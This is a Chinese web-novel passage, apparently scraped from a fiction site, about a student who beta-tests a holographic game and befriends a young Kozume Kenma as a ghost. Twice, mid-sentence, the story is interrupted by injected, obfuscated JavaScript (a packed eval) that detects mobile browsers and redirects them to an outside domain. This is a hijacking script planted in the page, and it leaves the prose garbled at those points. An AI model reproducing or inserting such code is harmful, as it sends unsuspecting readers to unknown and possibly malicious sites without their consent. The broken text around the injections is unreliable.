《在三无游戏养成研磨猫猫》 1. 新手指北 #惊!科学界重大发现:阿尔兹海默症呈现青年化趋势# #十七岁男高中生患上阿尔兹海默症,这三种食物能够帮你预防# 我凝重地注视着手机上这两条UC浏览器的无良推送。如果是在过去,我一定会选择把它们右滑送进垃圾箱。 但是今天的情况有些特殊,暂时按下不表。我迟疑了片刻,选择了点进去。 …… 事实上这种东西看完就会后悔。 大篇的废话显然是在羞辱我的智商,并嘲笑我点进去的举动。 [对于这种现象,科学家们会有什么样的看法呢? 让小编带你深入了解一下阿尔兹海默症产生的原因吧!] 然后全篇贴上百度百科一搜就可以获取的科普,原创含量为零,为了不侵权用超小的字体标注来源。 并且整篇文章只在标题处提到了#青年化趋势# 我按下由于浪费时间而产生的焦躁情绪,点开下一则推送。 下一则推送乍一看是良心科普。 [本篇文章将告诉您如何从青年时代开始将阿尔兹海默症扼杀在摇篮里] [首先,可以多吃富含维生素B的食物] 我运用自己的生物学知识,一边盘点这类食物,一边滑开某宝界面 菠菜、生菜、苦瓜…… 我的视线内绿得晃眼。 [还可以多吃坚果核桃] 行动力极强的我光速把它们通通塞入购物车。 [说到核桃,就不得不推荐xx公司的八个核桃了] 我的视线凝滞住了,手也不乐意地往下滑,果不其然。 [吃八个核桃,得神仙大脑,小编把链接贴在最下方,有兴趣的宝宝们可以购买哦(撒花撒花)] 大意了。 这居然是个披着新闻皮的软广,它们极其擅长以科普类的外壳掩饰自己的真面目。 我面无表情地选择[举报、恶评、点踩]一键三连。 再三申明一点,我绝对不是什么没有头脑容易被哄骗的单细胞生物。 之所以今天突发奇想点进这些推送,纯粹是因为太过巧合了。 在收到这个推送前,我清晰记得自己刚写完一份数学作业,定了个闹钟打算小憩一会。 半睡半醒间,我的眼睛张开一条缝,下意识看向被压在手底的物品。 触目惊心的白色令人眼前一黑。 我沉默地蜷缩起手指,不信邪地揉揉眼睛,待到眼前一片清明,捻起试卷的一角,抖落抖落,意图晃出点字迹。 很遗憾,我没有魔法,不管我抱着什么样的期望把空落落的卷子翻来覆去,也变不出写完的考卷。 写不完数学作业就会被摩登老太(我的数学老师)狂喷一早上,为了避免这种境遇,我只好出门买了一杯冰美式,准备熬夜苦读。 结果被密码锁控在门前。 …… 我家的密码是多少来着。 在备忘录里找到自己家门密码的我脸上毫无喜色。 即使疑似[记忆力衰退],但我自认智商还没有被削弱。 经过一番推理,我得出以下结论: 首先,忘记家门密码的事情应该不止发生一次。不然我也不会在备忘录上留下这个讯息。 其次,我的[记忆力衰退]应该蛮严重的,因为我连什么时候留下备忘录,以及自己什么时候开始[记忆力衰退]都分毫不知。 得出以上结论的我倒吸一口凉气。被动地发起了我一流的[脑补]能力。 在我的[脑补]能力加持下,即使是三流的恐怖小说,我也可以构想出翻倍的恐怖内容,因此我从来不看恐怖小说。 记忆里刷过的短视频主角被替换上了我的脸。 [花季少女江千流在车水马龙的十字路口突然停下脚步,她四处张望,不知道自己该往哪个方向走。] [此时,她身上挂牌派上了用场,她走到交警的身边,向他出示自己的挂牌,最后交警叔叔把她送回了家。] 好耶,happy ending. 我这人有一个难得的高贵品质,那就是遇到事情从不内耗,主打一个顺其自然、顺水推舟。 我瘫倒在懒人沙发里,侧着身划拉着手机。 大数据时代相当恐怖,不止能监控你的浏览记录,说过的话,甚至连你心里想的东西都能监控。 这就是我点进那两条推送的前因后果。 / 将UC浏览器从手机里卸载的我,点开了自己的电子邮箱。 列表罗列着我的诸位[金主妈妈] 她们是全攻略收集癖的富婆们,因此经常会发来几个游戏账号让我帮忙解锁隐藏CG。 最近刚通关的那个游戏叫作《横滨恋爱手札》,其中最难缠的就是烫男人太宰,在读档整整108次后,我总算解锁了隐藏CG。 富婆姐姐很豪爽,往我卡里打了三万元。我拿着这笔钱,心里却有点酸涩。 比起劳动所得,这笔钱更像是精神损失费,补偿我死了一百零八次的精神冲击。 前面已经说过,我很擅长脑补。 而《横滨恋爱手札》正是一款文字向游戏,尤其是死亡情节,作者大概很有恶趣味,一百零八种死法刻画得栩栩如生。 于是连着四个晚上,我把一百零八种死法都梦了个遍。 …… 我决定短时间内再也不接游戏的单子了。 我一目十行地看见邮箱里出现了一个陌生的名字 ——[好梦贩卖商] 看起来就像那种做不久,马上就会倒闭的游戏公司。 有一封标识着「已阅」的邮件。 邮件内容是「经过审核,您符合我们游戏的内测要求,已将全息游戏舱发送给您,内测资格激活码为888888」 [垃圾邮件吧] 我对申请过这种厂商的游戏完全没有印象。 我的手指停在[删除]的那一键上。 就像是为了制止我的行为,我的银行卡消息弹出,与此同时,我的邮箱接受到了新的邮件。 「已将款项打入您的账户,合作愉快。」 我点开手机消息。 [您的银行卡转入十万元。] [备注:自愿赠予] 哈?! 天降横财这种事会发生在我的身上吗。 为了解答我的困惑,电子邮箱里又收到了一封邮件。 这一回,邮件的语气和之前官方的腔调不同。 [十万元是定金哦亲,因为我们的测试周期较长,所以每个月都会发来一万元的测试报酬,直到测试期结束。测试期结束后,还有最后的尾款。] [不知道亲对这样的条件满不满意] 这是换了一个华夏客服吗,张口闭口的[亲]。 不过我不在意这些。 《横滨恋爱手札》花了我整整三个月,最后的报酬是三万元。 而这个三无游戏,虽然还没开始玩,就已经获得了十万元的报酬。 有钱不赚大傻子。 在问清测试只需每天上线玩一小时即可后,我光速编辑了一份合同。 在上面写满了[报酬月结][定金不退]等霸王条款后,对面的[冤大头]几乎没有犹豫地就签了名。 我并不纠结对方的动机,毕竟我只是个法律意识强的穷学生,刚才的那些合同已经排除了被骗财骗身的可能性。 混迹游戏圈多年,我遇到过形形色色的金主,有的人单纯是有钱没处花,做散财童子。 我友好地翻找着常用emoji库,常用的emoji都略带攻击性,费了一点时间,我精挑细选出合作商应该会喜欢的标准笑脸,并配上几朵鲜艳的玫瑰花。 [合作愉快微笑.微笑.玫瑰.玫瑰] 对方回了我一个握手的表情。 「全息游戏舱…」 我再次对我的记忆力衰退表示遗憾,但如果是小病不用治,大病没钱治。 我看着卧室的一隅一个蛋壳状的游戏舱,很是勉强地被塞在了床边。 虽然印象里并没有玩过这种游戏的经验,但我却觉得这身装备穿戴起来极其顺手。 我穿戴整齐躺进了蛋壳状的游戏舱,像是飘荡在汪洋的大海,又温暖地像置身于母亲的怀抱。 ...... 不过很快,这种温情的感受就被打破。 我睁开眼,哑然看着加载界面。 游戏加载界面是一个金币在上方滚动的进度条,除此之外,加载界面的其余空白地方不断地掉落着金元宝和钻石。 元宝和钻石掉落,几乎要在大海上填出一座岛屿。 我对这个游戏游玩体验不抱有任何的指望了,打算当作每天打卡的任务一样解决这一单。 但就跟跌宕起伏的人生一样,我的游戏体验也犹如过山车一样,在降到谷底之际又咻地一下窜起。 元宝钻石岛上凭空出现一个头顶[指导老师]标签的三花猫。 三花猫推了推自己的眼睛框,用细长的小木棒指着它身后的投影。 [我们是一款良心制作的攻略养成类游戏,玩家你将扮演攻略对象的异次元好友,展开一段独属于你和他的成长故事。] 我的眼前弹出一个小黑板。 三花猫猫身姿颇为妖.娆地侧躺在小黑板上,一边打着哈欠一边催促着。 [现在已经晚上十点了,还不赶紧输入你的游戏名] 我看了眼时间,正好十点。 “别急嘛。” 我小声嘟囔着。 拿着不知道从何处出现的粉笔在黑板上写下三个字。 [江千流] 并非我喜欢用真名玩游戏,纯粹是因为我是一个起名废,倘若真要我起一个名字,这只三花猫大抵要急得从黑板上跳下挠我一把。 三花猫低下脑袋,看着小黑板,迟疑了一会。 [你确定要用这个名字吗] 这是什么话。 我不满地眯起眼睛。 我的名字既简单又好听,并且完全没有什么触发违禁词的可能性。 [好吧,既然你这么决定了。] 他小爪一挥,投影切换了一个画面。 [第一幕出场的你,将是一个没有实体的状态,你需要想方设法和养成对象互动,让他意识到你的存在,才能解锁新的剧情] 三花猫从虚空中变出一顶帽子,戴在自己的脑袋上。 [请开始享受你的游戏吧] 它的身体变成蓝色的数据串,溢散在空气中。 如果这只猫能一直出现,我可能会觉得这个游戏好玩一点。 我在元宝钻石岛上行走,眼前的海域缓缓消失,我置身的环境也瞬间发生变化,粗略审视四周,是典型的日式住宅。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988448|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周围一片漆黑,我看我的脚下,隐隐约约的,门板的后面透着幽幽的灯光。 我敲了敲房门。 我的手直接从门板里穿了过去。 接下来我的身体仿佛不受控,被定在原地看着眼前的一幕。 一个小小一只的黑发脑袋,发型像我最爱吃的那种蘑古力。 他趴在床上,长长的线连接着他手里的游戏机和面前的电子屏幕。 是好几年前发售的小众微恐解密游戏。 我对它颇有印象,因为直到游戏的最后,我才发现这一系列事件的始作俑者,是身为操作者的[我]自己。 也算是解锁了在游戏里看别人玩游戏的究极套娃成就。 我当作回顾游戏,看着蘑古力脑袋操纵着游戏界面。 虽然看起来年龄很小,但是解密速度比当时过剧情的我还要快。 [是高智商的男主设定啊] 我了然。 …… 联想到了一些不好的过去,我默默在心里否决了这个设定。 ——还是不要了吧。 《横滨恋爱手札》的高智商男主已经让我饱受苦头了。 没过多久,他成功通关了。 面前的屏幕是漆黑房间里唯一的光源。 我其实不喜欢通关游戏,尤其是那种沉浸式的游戏,和游戏中的人物建立起深刻的羁绊,却难免面对[game over]的时刻。 每当从一款游戏里抽离,巨大的空虚和失落感就会席卷全身。虽然记忆里还有和他们共度的时光,但是那样的时光在游戏结束之后就没有人来续写了。 我察觉到自己可以行动了,于是戳了戳那个刚通关就低垂着脑袋,很失落地握着手柄的小人。 他也有这种感觉吗。 令我没有想到的是,他似有觉察,突然放下手中的手柄,转过身我。 太近了。 幽幽的屏幕蓝光照亮他的每一根发丝 我猝不及防和他对视。 琥珀色的瞳孔一动不动地注视着我,让我有些在意的是他仿佛能看见我的身体。 据说猫在黑夜里,瞳孔会放大。 我差点以为自己被“抓住”,有点晃神地和他对视。 所幸那双琥珀色的澄澈眼睛,并没有出现我的倒影。 [是超游设定啊] 我缓过神来,像逗弄着他一样,朝着他挥挥手。 他别过脑袋,全然没有发现我。 做的还蛮逼真。 我默默给这款游戏加上一分。 刚刚的交互让我产生了自己被[看见]的错觉。 [游戏提示]悬浮在空中,像是刻意要彰显自己的存在一样,超大号的字体在空中抖动,感觉要把位于它下方的那只黑色蘑古力脑袋压坏。 [让他意识到你的存在,才能解锁接下来的剧情] 身为深度游戏玩家的我怎么会忘记这么重要的提示。 也不知道这款游戏的自由度怎么样。 是会给我几个文字选项来挑选接下来该怎么互动吗。 像是猜到玩家会在这个时候有困惑,[游戏提示]适时更新。 [你可以跟触碰场景里的任何东西] [温馨提示:可以使用房间内的纸和笔] 诶。 我不怀好意地笑了笑。 既然可以和场景里的任何东西交互,单纯靠纸和笔传递信息也过于平常了。 我注意到蘑古力小孩的视线偏移到窗帘一侧。 记得他刚刚玩的是, ——恐怖游戏呢。 我飘到窗前,扒拉着窗帘,窗帘在我的霍霍下,诡异地飘了起来。 蘑古力脑袋的头上显然挂着一个大大的问号。他环顾了四周,没有发现人影,于是迈步走向窗前。 拉开窗帘后,他细细检查着窗户的每一处缝隙,发现窗户早已被紧紧地合上。 做完这些事后,他沉默地站在窗前。 我猜他的世界观都略微崩坏了些。 为了让他世界观崩坏的进度条更加迅速推进,我不愿错过任何机会,眼疾手快地再次移动窗帘,啪地一下,厚重的窗帘再一次飘了起来,还把他罩在了里面。 我好心情地把窗帘的绑带也拉了过来,束成一个华丽的蝴蝶结。 我洋洋得意地看了眼任务栏。 都到了这种地步,总该判定对方察觉到我的存在了吧。 [……] 对话栏赠送了我六个无语的句号。 [真想不到玩家是用这样的方式彰显自己的存在。] [恭喜你解锁了在孤爪研磨心里的初印象。] [一只顽皮的鬼] [请再接再厉。#撒花#] 蛮有意思的嘛。 我拍了拍左肩,弹出「玩家是否确认退出」,我选择了「是」。 [初遇]的剧情圆满结束。 我安稳地躺在床上,酝酿着睡意。 奇怪,我是喝了什么东西吗。 这个点都睡不着。 我睁着眼睛回想着。 …… 我惊恐地从床上弹起,总算想起自己为什么要在睡前喝咖啡。 因为我还没有完成摩登老太的数学作业。 我来到书桌前,面如死灰地打开书桌的灯,伏案狂写起来。 一人一笔,一夜一奇迹。 2. 研磨猫猫养成手札 01 “江千流。” 听到熟悉的声音直呼着我的大名,我把脑袋从倚叠如山的书本组成的堡垒里探出。 呼唤我名字的是我在这个班上最好的朋友,沈星愿,从她的名字就可以看出,她一定是在家人的期待中诞生的。 如果用某Q软件推送小说广告的格式来介绍她的身世,那大概是这样的: 「沈家妈妈在生下大儿子后,时隔多年总算又生了个女儿,沈家爷爷开心坏了,喜出望外地抱着孙女,下令——全家上下都给我往死里宠。」 虽然真实情况没有那么夸张,但也八九不离十了,总之我的这位好朋友是在娇生惯养下长大的,她心眼不坏,背地里干了不少好事,全身上下就一处不好。 嘴特毒。 她的小嘴一叭叭能让十里内的人都噤声,老的少的无差别攻击,所以大部分人害怕她这张淬了毒的嘴,都对她退避三舍。 但我这人心特大,能够免疫她所有的魔法攻击,也因此成了她为数不多的朋友。 沈星愿朝我挤眉弄眼一番,高马尾随着她的动作在空中晃动在,她装模作样地把手里的英语书举得更高了一些,嘴里含糊不清地念着声量巨大的单词,连带着周围的人也提高了音量。 我看懂了她的暗示,精准地从堡垒里抽出一本同色系的书,也振振有词地喊了起来。 秃头的督导亮闪闪的脑袋犹如灯塔,从后门晃到前门,满意地点点头离开了。 我们俩默契地把头凑在一块,她嫌弃地瞥了一眼我用黑色皮筋随意一扎的低马尾,又落到我那「战斗堡垒」里软趴趴薄薄的吐司:“一大早上就吃这个?还不如买个饭团或者包子。” “那两个味都特大,在教室吃会被班主任丢出教室的。” 她又露出那副招牌表情,一双眼睛在我的眼周来回扫荡,嘴边挂着冷冷的笑,火力全开地说道:“一个周末回来,你晋升成国宝了?” 我自动转译:“有一张卷子忘写了,熬了个大夜,结果早上睡晚了,早饭也没来得及吃。” “知道你关心我~”我抱住她的手。 “…好大的脸。”她撇嘴,别扭地转了回去,注意力全然放在了那本英语书上。 …… 忍无可忍的她最终还是转过头:“干嘛一直看着我。” “星愿。”我认真地说着,“其实有一个漫改剧,我觉得你很适合出演。” “就算你说我跟女明星一样漂亮,我也不会被你的花言巧语蛊惑。” “你怎么不问问我是什么剧。” “什么?” 我生怕她听不清,还凑到耳畔,一字一句无比清晰地传达到她的耳中。 “《我的天才傲娇女友》” 「由于距离过近,闪避不及时,江千流受到沈星愿的致命一击」 「HP-100」 / 今天也依旧丰富多彩。 我趁着洗澡的时间复盘起来。 首先是和摩登老太斗智斗勇,在她的手扫过我困得不像话的字迹时,保持冷静和坦然。 “再怎么说也是写完了。” 她警告我下次不要再犯。 然后是餐厅龟毛的食客。 他在一盘蔬菜沙拉里翻翻找找,然后扶了扶自己的眼镜,用那双筷子技艺高超地夹起一根细小的头发,那根头发不长也不短。 他像是抓到了把柄,趾高气昂地说着“快叫你们老板来,还有这顿饭给我免单。” 天知道他靠这种手段在别的饭店逃了几单。 我微笑着表示「完全没有必要惊动老板」,然后从后厨拎出了我们餐厅的几位主厨。 他们闪闪发亮的光头在无言中说明了一切。 我不忘补刀,拿起头发和自己的比对了一番:“呀,这根头发好像也不是我的。” 我夸张地捂住嘴,走到这位先生跟前,拿着那根发丝的手一上一下地晃悠着:“呀——这根头发居然和这位先生的一样长。” 围观的食客们都忍不住笑出了声,一时间餐厅里布满了快活的气氛。 他气得双颊涨红,三两下付清了饭钱夺门而出。 * 每当在吹头发上耗费二十几分钟后,我都会萌生拿一把剪刀把它剪成短发的冲动。 我的目光在桌面上的剪刀处徘徊了片刻,最终还是挪开了目光,打卡般躺进了全息游戏舱内。 …… 下次要记得调低亮度值,我这样心想着。 人不能三次掉在同一个坑里,这是我第二次被这个摄人心魄的暴发户加载界面亮瞎双眼,也是最后一次。 随着大型的金币滚到进度条的末端,崭新的场景出现在我的视线中。 昨天游戏的任务指引栏那一侧的三花猫消极怠工,今天取代它的是一只半死不活的小幽灵,它就像JK会挂在书包上的那种可爱挂件,唯一不同寻常的就是那双眼睛。 它用一双毫无生气的死鱼眼瞟了我一眼,和连上一个月班的打工人别无二致,叹了口气,照着任务栏念了起来。 「在“初见”中玩家你解锁了“一只顽皮的鬼”的人设」 「噗。」 …… 有没有人告诉这个小幽灵,它面无表情发笑的样子真的很可怕。 还有它是在嘲笑我吧!! 「现在介绍第一条游戏规则」 「玩家需要维持初印象中的人设,不能ooc,其余随意」 我把小幽灵抓了过来,拍拍它的脑袋,喊了一声“快进”,试图跳过小幽灵慢悠悠的对话。 它活力值为零的眼睛看向我,“请不要着急”。 「初始人设会影响后续剧情,人设崩塌需要从头攻略,这点很重要」 所以说我要顶着顽皮的鬼的人设和蘑古力脑袋开展一段人鬼情未了的关系吗。 天崩开局。 「玩家首先要和游戏对象建立合作关系,以便完成接下来分发的任务。」 「主线任务还是攻略游戏对象,支线任务玩家可以选择相应的处理方式,只要完成对应的剧情点即可」 换言之,系统不会干涉我的选择,自由度相对较高。 小幽灵询问道。 「玩家还有什么问题吗」 我答道:“我要重开。” 它露出了茫然的神情,就像卡壳一般,良久才加载完成。 「你确定吗玩家,为什么」 原因显而易见吧。 “按正常逻辑来说,哪有人遇到鬼还想和她展开一段情缘的,开局自带天崩debuff,而且后期刷到满级好感,肯定也会遇到什么「人鬼」身份的差距,然后很容易解锁be结局。” “虽然be结局也无所谓,但是我有一种第一次通关想要解锁he的怪癖。” “所以我要重开。” 小幽灵消化着我这一大长串的话。 「好吧,给玩家一个温馨提示」 「这个攻略对象或许有些“特殊”,用当前身份和他交流可能会更顺利一些」 「而且我们游戏里的攻略值和好感度并不是单纯的恋爱关系,换言之,如果是挚友关系也是能通关的」 什么叫「用当前身份交流更顺利」 莫非蘑古力脑袋不恐鬼反而恐人吗。 但除此之外,还有一个更让我在意的点。 无论是这双死鱼眼,和浑身散发的社畜气息,还有有问必答的程序设置,这个小幽灵也太仿真了吧。 “你是真人客服吗?” 它的眼瞳一动不动。 「我是AI,根据你的问题结合游戏规则,生成对应的答案。」 “但你AI的水平已经超过当前市面上推出的那些AI了吧,比如文心二言。” 它的流畅度很难不让人产生疑惑。 「你也提到了是“市面上”的AI,我们这种研发水平的AI目前还没有在市面上流通,代表着当前业界的顶尖水平」 「请问玩家还有什么问题吗」 我思索一番,毫不客气地回答:“还有两个。” “既然你们研发水平这么高,为什么找到我来内测。” 「玩家是我们根据大数据筛选出的最合适的人,而且你的智力值和脑洞值都很高,有利于我们筛查bug」 我悟了,也就是天然的试错机。 还有「智力值」高这一点,我爱听。 倘若我此时可以窥见小幽灵的内心波动,就可以听到它的心里充斥着「在别的地方敏锐,结果对于这种答案很轻易就接受了」「到底是什么脑回路清奇又大条的人」 可惜我没有读心术。 我的目光略过小幽灵,停留在它身后的那个界面上。 似乎是某所学校的室内体育场,看起来是小学生的小不点们团团聚在一块,手里拿着一颗颗小篮球,小人们一个个排着队朝着篮筐投球,相当井然有序。 阳光从高处的玻璃窗里洒下,透过冷冷的屏幕都让人心生暖意。 但是我在这群小人里没有找到那只熟悉的脑袋。 于是我很仔细地在各个角落里搜查,最后在最遥远的一侧看到了一团黑乎乎的「不明生物」缩在角落。 我戳了戳左眼的太阳穴,小幽灵捂脸:“我们没有戳戳太阳穴就能拥有千里眼的功能啊!” “不过可以给你用一下功能体验卡,满意的话可以多多赚取积分在商城回购哦~” 我忍不住哆嗦了一下。 无他,小幽灵的声线过于毫无生机,再配上这个格格不入上扬的波浪号,幻视了一些打工人。 随着小幽灵的话音落下,我感受到自己的视线变得格外清明。 我把手比成望远镜的形状,放大一看,果不其然,是抱着篮球发呆的小人,我盯着他数秒。 …… 食欲大开。 如果不是在游戏舱内,我绝对会拿起准备好的蘑古力,一个接一个玩嘴里塞。 “最后一个问题就是,他也是AI吗。” 「……」 「我不知道,玩家可以自行解锁」 那就是比AI更有趣一点的身份了,我并不排斥解密的过程,这也是游戏的一部分。 “我该怎么称呼你呢。” 「小八」 “好的小八,人物档案该怎么查看。” 我按照它指示的,画了一个星形图案,以牛皮纸为背景的人物档案映入眼帘。 第一个人物是我的攻略对象。 名称:孤爪研磨 年龄:7岁 比我想象的还要小一些,七岁比我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988449|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十五岁通关的速度还快,果然是什么天才设定吧。 性别:男 智力:5(满分5) 体力:2 力量:1 速度:2 跳跃:2 最喜欢吃的食物:未知(待解锁) 最爱玩的游戏:未知(待解锁) 最讨厌的事情:未知(待解锁) 最好的朋友:未知(待解锁) 真是一位神秘小学生。 我戳了戳小八,“那么多未知也就算了,身为攻略游戏最重要的好感值在哪里?” 「为了增加游戏的真实感,不开放好感度查询的选项。」 「我们会考虑把内测玩家的建议纳入改进方案」 把钱都用来给开发系统AI和给系统配音,攻略游戏最基础的好感系统完全未开发,只能说,富豪的游戏投资方向我不懂。 我翻到下一页,那是我的档案。 玩家:江千流 年龄:??? 性别:女 种族:鬼 智力:4(一流水准#撒花撒花#) 体力:0.5(比正常人偏低) 力量:0.8(和正常人一样) 速度:1(比正常人快一些) 跳跃:0.2(你的弹跳力堪忧呢) 其余属性未解锁 好差的属性栏。 遇事不决就放弃,我又想重开了。 我叹了口气,关闭了属性栏。幽灵千流飘到了名为孤爪研磨的少年身边。 「先打个招呼吧」 我这样想着,视线锁定了边缘区域的一颗篮球,由于还没有熟悉幽灵这种“飘”着走路的方式,我笨手笨脚地滑到边缘区域,摇摇晃晃把它抱起,过程中还要注意不要被别人看见。 毕竟也不知道这款高自由度的游戏,旁人会对灵异现象有什么样的反应。 我抱起篮球,缓缓让它滚到对方身边,篮球触碰到了他的脚尖。 一秒、两秒、三秒…… 他的头都没有挪动分毫,完全忽略了滚到脚边的篮球。 我锲而不舍,到他身旁,把球捞了回来,换了个更显眼的角度,丢了过去。 他还是迟钝地没有发现异样。 我眯起眼,戳了戳任务栏旁飘荡的小幽灵,它懒洋洋打了个哈欠。 “我要写份玩家意见。” “第一次见面的时候,攻略对象的人设明明是敏锐少年,结果我试了整整两次把篮球丢到他附近,他什么反应都没有。” “这明显ooc了吧。” 小幽灵回头看了眼垂着脑袋把玩篮球的蘑古力脑袋问道:“有没有可能,你再试一次就能成功。” 我,这次趁场馆里所有人不注意,抱起篮球飘在空中,缓缓靠近低着头的孤爪研磨。 他叹了口气,对着空气自言自语。 “本来以为这种现象假装看不见就不会被鬼缠上…” “看来书里说的是假的。” 原来他早就注意到了我的存在。 他拿出手机,打开备忘录,放在身边的地板上:“你是鬼吗?” 我用新装上的手在手机屏幕上缓慢敲打着。 「是哦,你不怕我吗?」 “如果是贞子那一类的,可能会有些害怕,但是…” 「他想说你很幼稚,一点也不吓人。」 幽灵小八也跟着飘了过来。 “你叫什么名字?”他仍然一脸淡定地看向手机放置的方向,殊不知此时的我正在追着小八跑来跑去。 我停下追逐战,在手机上输入着。 「我叫江千流,是只中国女鬼。」 他顿了顿,好像是在分辨我话语的可信度:“那你为什么跑来日本,还来和我交流?” 关于这个问题,我早有准备,噼里啪啦地在屏幕上敲下一长段文字。 「我们中国鬼界和日本鬼界近来有一场文化交流的友谊赛,而我是中国鬼界的佼佼者,作为代表出战」 「你应该听过“功德”这种说法吧,这次我们比拼的内容就是看谁在规定时间内“功德”获得的多,然后你的体质比较特殊,能让我得到更多的功德值」 「所以我选中了你」 幽灵小八目瞪口呆地看着我这通胡编乱造的话:“……你好像哄骗小孩的传销头目。” 孤爪研磨他似乎对这些东西都没什么兴趣,这让我丧失了一个大展身手的瞎编机会。 他的关注点在我意料之外:“请问一下,你们鬼界赚取功德的时候,有休假吗?” 虽然他看不见,我还是拍了拍自己的胸膛,随后在屏幕上打下。 「休假?不存在的。赚取功德,鬼鬼有责。」 “啊。”他头顶的发丝蔫蔫地倒下了,生无可恋地缩成一团毛球,像在思考人生。 我歪过脑袋,询问他。 「怎么了吗?」 他的眼神空洞,回答道:“活着要完成kpi,死了也要冲绩效,一下子觉得活着和死了都没什么区别。” 我神色一凛,一旁的小八适时点评。 “玩家,你毁了一个小小少年所有对未来的期望。” 我做出一个滑跪的姿势。 “非常抱歉。” 3. 研磨猫猫养成手札 02 我想,在游戏界存在着一个普遍规律。 ——在游戏中,玩家的道德感会普遍降低。 现实世界里唯唯诺诺彬彬有礼,游戏世界里xxxx样样精通。 尤其是对于我这种全图鉴攻略者来说,为了获得特殊成就,很难不行走在某些红线上。 例如在《横滨恋爱手札》里,不接触港口mafia的业务,真正了解攻略角色黑泥的一面,又何谈攻略成功一说。 还有一些宫斗类游戏,身边被一众性格各异的貌美嫔妃包围,很难不产生踹掉皇帝篡位的念头。 不过道德感再低的玩家也或多或少有些许底线。 而我的底线就是——让每一个角色,至少是在童年期间,之前的我无法干涉,遇到我之后都能健健康康地成长。 …… 童年过后就按下不表了。 所以,望着面色灰败,盘腿坐在地上,脱力倚靠着墙壁对生活失去希望的研磨,我深感愧疚,良心发现的我急忙打着补丁。 “其实,我们这些任务都蛮有意思的。” 看得出来,他只是出于礼貌,稍稍把头抬起看向我。 我接着投其所好,还记得第一次和他见面,对方熬了个大夜在通宵打游戏,我试探说道:“唔,就像我还是个人的时候,玩的那种游戏任务,我还能看见任务完成进度呢。” 我瞧瞧端详着那颗小脑袋,看似十分淡定,细细分辨,琥珀色的眼睛静悄悄流淌着亮晶晶的光。 我乘胜追击地加大力度:“在真实的生活里玩游戏,还不赖吧。” “而且我们是互惠互助的关系哦,你帮助我完成任务,我还可以向上级申请,满足你的一些愿望。” 说这些话的时候,我又戳了戳飘在旁边不讲话的小八,问它我这个大饼究竟能画的多大。 得到确切的回复后,我告诉他:“只要符合我们主流价值观的,都可以满足你!!” 他垂眸,看上去在思考,我也不着急催促他,坐在他的身旁。 这个游戏的代入感还算不错,我转换着视角,从他的方位看向热闹的人群。即使只是小学生,每个小团体的特点也相当鲜明。 有活力充沛激情比拼的小豆丁们,有抱着篮球做做样子、实际上在讨论八卦的小分队,还有乖乖巧巧地排成长队有序练习投篮的一行人。 “其实我小时候也经常一个人从这个视角观察大家。” “…不喜欢和无关紧要的人社交?” 这其实是研磨自己的想法吧,我摇摇头:“社交这种事情,有和没有都没什么区别。” 我深沉地说道:“其实我脱离众人之外,思考人类的特性。” 空气可疑地被我这句话冻结住了。 小八可以说是一流的补刀王,它捂住嘴桀桀地笑着:“研磨现在的表情,就像在说——那你小时候还蛮中二的。” 我不服气:“怎么,难道你是他肚子里的蛔虫,会读心术吗,研磨现在的表情叫作尊敬,百分百的尊敬。” 研磨听不见我和小八的针锋相对,他从若有所思的状态中抽离:“我可以和你一起做任务。” 这句话清晰传入我的耳畔,我耀武扬威般和小八说道:“怎么样,研磨为我的人格魅力折服了。” 小八扭过脑袋,不想看到我得意的面孔,它不情不愿地宣布我和研磨建立了「合作关系」,跑到我视线的最右侧,摆上一个崭新的圆形图标,是邮件的形状。 “点开这个图案输入信息,研磨的眼前就会直接出现你的话语。” 我马不停蹄地尝试新功能。 深蓝色数据串组成的字体凭空出现在研磨的眼前,就像是海洋中升起的泡沫。 「今后请多多指教!」 他略显无措,琥珀色的眼珠向下流转,稍长的黑色头发也乖巧地耷拉下来。 ——再怎么聪明也还是小孩子嘛,所以暂时还没有学会把自己的情绪藏起来的本领。 我这样心想,忍不住用指尖戳了戳他垂落的发丝,像是一阵风拂过。 “…请多多指教。” 「支线任务一:交个朋友吧~~」 「健康的童年离不开三两个好友的陪伴,在一个月内攻略对象交到一位好友,则判定任务成功。」 「请玩家多多努力#撒花撒花#」 这还不简单。 我,玩家,总是能钻各种空子完成任务的鬼才,敲下一行字。 “我们是朋友嘛(不管是不是,请先回答是)” 这句话还没发出去就被小八叫停了,它为自己发布任务的不严谨打上补丁。 “除玩家以外的朋友,才能判定成功。” 我轻啧一声,把对话栏中的内容删去,直白地把任务的内容完全告知了研磨。 他看向人堆:“你也觉得我应该去社交吗?” 「也」? 不过这种对话在东亚国家出现太平常不过了。 “你怎么这么孤僻,不喜欢跟别人交流?” “你这种性格,到社会上是要吃亏的。” 更有甚者,我曾从别的朋友那里听说,在春节这种阖家团聚的节日,小孩的房间是不允许「上锁」的,所以他们不得不像动物园供人观赏的动物,扯着脸应付着不知道从哪个犄角旮旯冒出来的「亲戚」。 我思索着,说道:“如果你乐意的话,我是想直接让你找个人,说「我们交朋友吧」,就这样通过判定。” “毕竟我的监督者是个笨蛋。” 忽略一旁跳脚的小八,我接着说道:“但是我们是合作关系,合作关系意味着——你的意愿也同样重要。” 我得意切换对话框。 「怎么样,小八」 「我刚刚说的话是不是很加分」 「我只知道如果玩家再偷偷戳研磨的头发,就要掉分了」 我急忙收手。 ——忘记是触碰互动的模式了。 